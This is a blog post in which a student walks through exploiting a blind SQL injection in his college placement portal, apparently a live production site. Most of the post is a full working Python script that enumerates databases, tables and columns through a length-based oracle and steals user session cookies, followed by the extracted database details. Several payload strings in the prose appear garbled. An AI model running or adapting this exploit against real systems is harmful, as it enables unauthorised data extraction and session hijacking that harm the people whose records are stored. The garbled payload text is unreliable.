Hello and welcome back to my new blog post! I am Adithya M S a Masters student, cyber and web security enthusiast focused on uncovering hidden endpoints, probing data breaches, and exploring attack vectors in web servers and clients. I study emerging threats and contribute to infosec — always learning, always breaking things!

Its been quite a bit long since I have written to Medium as I was bogged down by my busy schedule of HWs and Midterm exams

Today, we shall explore how I was able to exploit an SQL injection bug in the search field of my college placement portal and exfiltrate every piece of information about the database byte by byte 👾 !! It's of course a subtle but dangerous technique 💥 ! (I actually did this few months back but did'nt find time then)

Disclaimer: The content provided in this article is for educational and informational purposes only. Always ensure you have proper authorization before conducting security assessments. Although all efforts have been made to hide the identity of the target, misuse of any such information is illegal and neither the author nor the publisher is responsible for any consequences due to misuse.

I try to publish articles here regularly on Medium, so if you would like to read some of my other Medium blogs, here is a link to my Medium profile

So, without further ado, let's get started

Let's say the name of the placements website is https://placements.xyz.ac.in (placements.xyz is to redact the original name of the website to prevent any legal issues)

This is the dashboard of the placement portal (located at /abcde2425/student relative to the base website), again abcde2425 is a redacted name

None
Placement portal dashboard page

Now, from here you can see a tab called Openings, I just clicked there and came to the below page (the URL was at the endpoint /student/openings/both/0/1 relative to the base URL of the website)

None
Placement portal job openings page

Now, I tried searching for a company here by using the searchbox

None
Benign search for a company on the portal with key 'flip'
None
Benign search for a company on the portal with key 'kart'

Now, this search feature appears to fetch those companies which have the search key that I typed as a substring. Maybe the web server sends and SQL query to the SQL database with the LIKE operator to fetch matching records

What if I try to inject some boolean conditions in the query like Ƈ' LIKE Ƈ%' or Ƈ' LIKE ƈ%' ?

That's what I tried next

None
SQL injection with Ƈ' LIKE Ƈ%' boolean condition

So, injecting an AND Ƈ'=Ƈ' gives me the same one record I got previously. Try Ƈ'=ƈ' and…

None
SQL Injection with Ƈ' LIKE ƈ%' boolean condition

Now again try with OR Ƈ' LIKE Ƈ%' and we get…

None
SQL injection with Ƈ' LIKE Ƈ%' boolean condition

NOTE : I have actually skipped the closing the % symbol and the closing quote as the server adds them to the end of our search key value to construct the query

The server constructs queries of the form

SELECT * FROM placement_table WHERE company_name LIKE '%{search_key}%' by concatenating search key from user input

Now, we can clearly see that there is an SQL injection bug here. Based on the truth of the AND condition inserted in the payload kart' AND Ƈ' LIKE Ƈ

we either get 2 records or 0 records. By using the 2 records response as YES and the latter as a NO, we can get answers to any YES or NO questions we want from the database using the EXISTS operator which tells us whether a record exists satisfying a given query or not (Evaluates to true if a query returns a non-empty result set otherwise false)

So, to automate this process I identified the POST request that gets sent to the web server to get the search results and automated my exploit with a Python program, Here is the code

NOTE : Certain parts of the URL have been redacted as is evident here to protect the privacy of the website

import requests
import binascii

base_url = "https://placement.xyz.ac.in"
endpoint = "/abcd2425/student/openings"

hex_chars = "0123456789ABCDEF".lower()
url = f"{base_url}{endpoint}"

cookies = {'ci_session': '1d89b84270c3da009ce15803d9a561da20c0c7a7'}

def calc(res, query):
    YES_LENGTH = 8455
    NO_LENGTH = 8145
    if res.status_code == 200:
        content_length = len(res.text) - len(query)
        if content_length == YES_LENGTH:
            return True
        elif content_length == NO_LENGTH:
            return False
        else:
            raise Exception('The response has unexpected length.. Please check..')
    else:
        raise Exception('Something is wrong with the server OR request.. Please check..')

def yn_oracle(query):
    payload = f"kart' AND {query} AND '1' LIKE '1"
    data = {'filtercompanyname': payload, 'search': ''}
    res = requests.post(url, data, cookies=cookies)
    return calc(res, query)

def get_exp(exp):
    found_len = 0
    found_chars = ''
    while True:
        should_continue = yn_oracle(f"LENGTH({exp}) > {found_len}")
        if not should_continue:
            break
        else:
            cur_char_code = 0
            b = ["('8', '9', 'A', 'B', 'C', 'D', 'E', 'F')", 
                 "('4', '5', '6', '7', 'C', 'D', 'E', 'F')", 
                 "('2', '3', '6', '7', 'A', 'B', 'E', 'F')", 
                 "('1', '3', '5', '7', '9', 'B', 'D', 'F')"]
            for j in range(1, 3):
                for i in range(4):
                    query = f"MID(HEX(MID({exp}, {found_len+1}, 1)), {j}, 1) IN {b[i]}"
                    cur_char_code *= 2
                    cur_char_code += int(yn_oracle(query))
            found_len += 1
            found_chars += chr(cur_char_code)
    print(f"Hurray!! We found the required {exp} ", found_chars)

def rec_enum_tables(hprefix):
    can_rec_search = yn_oracle(f"EXISTS(SELECT table_name FROM information_schema.tables WHERE HEX(table_name) LIKE '{hprefix}_%' AND table_schema=DATABASE())")
    if not can_rec_search:
        print(f"Table {binascii.unhexlify(hprefix).decode('utf-8')} in Database abcdapp2425")
    else:
        for c in hex_chars:
            yn = yn_oracle(f"EXISTS(SELECT table_name FROM information_schema.tables WHERE HEX(table_name) LIKE '{hprefix}{c}%' AND table_schema=DATABASE())")
            if yn:
                rec_enum_tables(hprefix+c)

def rec_enum_dbs(hprefix):
    can_rec_search = yn_oracle(f"EXISTS(SELECT DISTINCT table_schema FROM information_schema.tables WHERE HEX(table_schema) LIKE '{hprefix}_%')")
    if not can_rec_search:
        print(f"Database {binascii.unhexlify(hprefix).decode('utf-8')} found in system")
    else:
        for c in hex_chars:
            yn = yn_oracle(f"EXISTS(SELECT DISTINCT table_schema FROM information_schema.tables WHERE HEX(table_schema) LIKE '{hprefix}{c}%')")
            if yn:
                rec_enum_dbs(hprefix+c)
               
def rec_get_cols(tablename, hprefix):
    can_rec_search = yn_oracle(f"EXISTS(SELECT HEX(CONCAT(column_name, '$', data_type, '$', ordinal_position)) v FROM information_schema.columns WHERE table_name='{tablename}' AND table_schema=DATABASE() HAVING v LIKE '{hprefix}_%')")
    if not can_rec_search:
        print(f"Column {binascii.unhexlify(hprefix).decode('utf-8')} found in table {tablename} of Database abcdapp2425")
    else:
        for c in hex_chars:
            yn = yn_oracle(f"EXISTS(SELECT HEX(CONCAT(column_name, '$', data_type, '$', ordinal_position)) v FROM information_schema.columns WHERE table_name='{tablename}' AND table_schema=DATABASE() HAVING v LIKE '{hprefix}{c}%')")
            if yn:
                rec_get_cols(tablename, hprefix+c)

def rec_steal_session(hprefix):
    can_rec_search = yn_oracle(f"EXISTS(SELECT HEX(CONCAT(id, '$', CAST(user_data AS char(64)))) v FROM xyz_sessions HAVING v LIKE '{hprefix}_%' AND LENGTH(user_data))")
    if not can_rec_search:
        print("Session: ", binascii.unhexlify(hprefix))
    else:
        for c in hex_chars:
            yn = yn_oracle(f"EXISTS(SELECT HEX(CONCAT(id, '$', CAST(user_data AS char(64)))) v FROM xyz_sessions HAVING v LIKE '{hprefix}{c}%' AND LENGTH(user_data))")
            if yn:
                rec_steal_session(hprefix+c)

Here, we can notice that the POST request is being sent to the endpoint /abcd2425/student/openings

We convert any string field in the database to hex (using the HEX function) and then get its encoded value by performing 4 set membership checks for it to get its 4 bits in binary form. Hence, totally with 8 requests we can get the value of a byte from a database field

The MID function here is used to get a substring with a certain range of positions from the original string field

The get_yn function checks the content length of the HTTP response minus the number of characters in the search key we typed (as the same search key appears in the response as well). Clearly, this value would be different for a 2 record and a 0 record response

Note the recursive approach being taken in the function rec_enum_dbs and other such functions whose names start with rec

What we do here is to use the EXISTS function with a query involving information_schema.tables to check whether there is any record having table_schema that starts with 'a'

After this, we search for the next character from 'a'. We ask whether there is any database whose name starts with 'ab' , 'ac' , 'ad' and so on recursively … (We use hex digits and check HEX(table_name) instead of directly referring to table_name as table_name may have an underscore in it which has special meaning in the LIKE expression)

The rec_steal_session function here enumerates all the user sessions from the xyz_sessions table and we can copy paste these session cookies into our browser to login as another user if the session has not expired yet

The results of the get_exp function are as follows invoked with arguments "DATABASE()" , "USER()" and "VERSION()" respectively :

Hurray!! We found the required DATABASE()  abcdapp2425
Hurray!! We found the required USER()  abcdapp@localhost
Hurray!! We found the required VERSION()  5.5.68-MariaDB

Now for enumerating the database names, and table names (some of the table names are shown abcd is a redacted name)

Table AMS_AdmissionPersonalDetails in Database abcdapp2425
Table AMS_CourseDetails in Database abcdapp2425
Table AMS_CourseMaster in Database abcdapp2425
Table AMS_DepartmentMaster in Database abcdapp2425
Table AMS_XYZDegreeMaster in Database abcdapp2425
Table AMS_PreviousTermCredits in Database abcdapp2425
Table AMS_ProgramMaster in Database abcdapp2425
Table AMS_StudentCourseRegistration in Database abcdapp2425
Table AMS_StudentMaster in Database abcdapp2425
Table ams_admissionpersonaldetails in Database abcdapp2425
Table ams_coursedetails in Database abcdapp2425
Table ams_departmentmaster in Database abcdapp2425

Hope you found this recursive algorithm for performing enumeration of database contents with Blind SQL injection useful and interesting. (The algorithm presented here may not be perfect but still it enumerates most of the tables in the database and does a pretty good job)

That's it for this article guys/gals. Please respond with any feedback or questions that you have related to this article, clap 👏 if you liked it and follow me for more such content.

See you in the next one, meanwhile Happy breaking 👨‍💻!!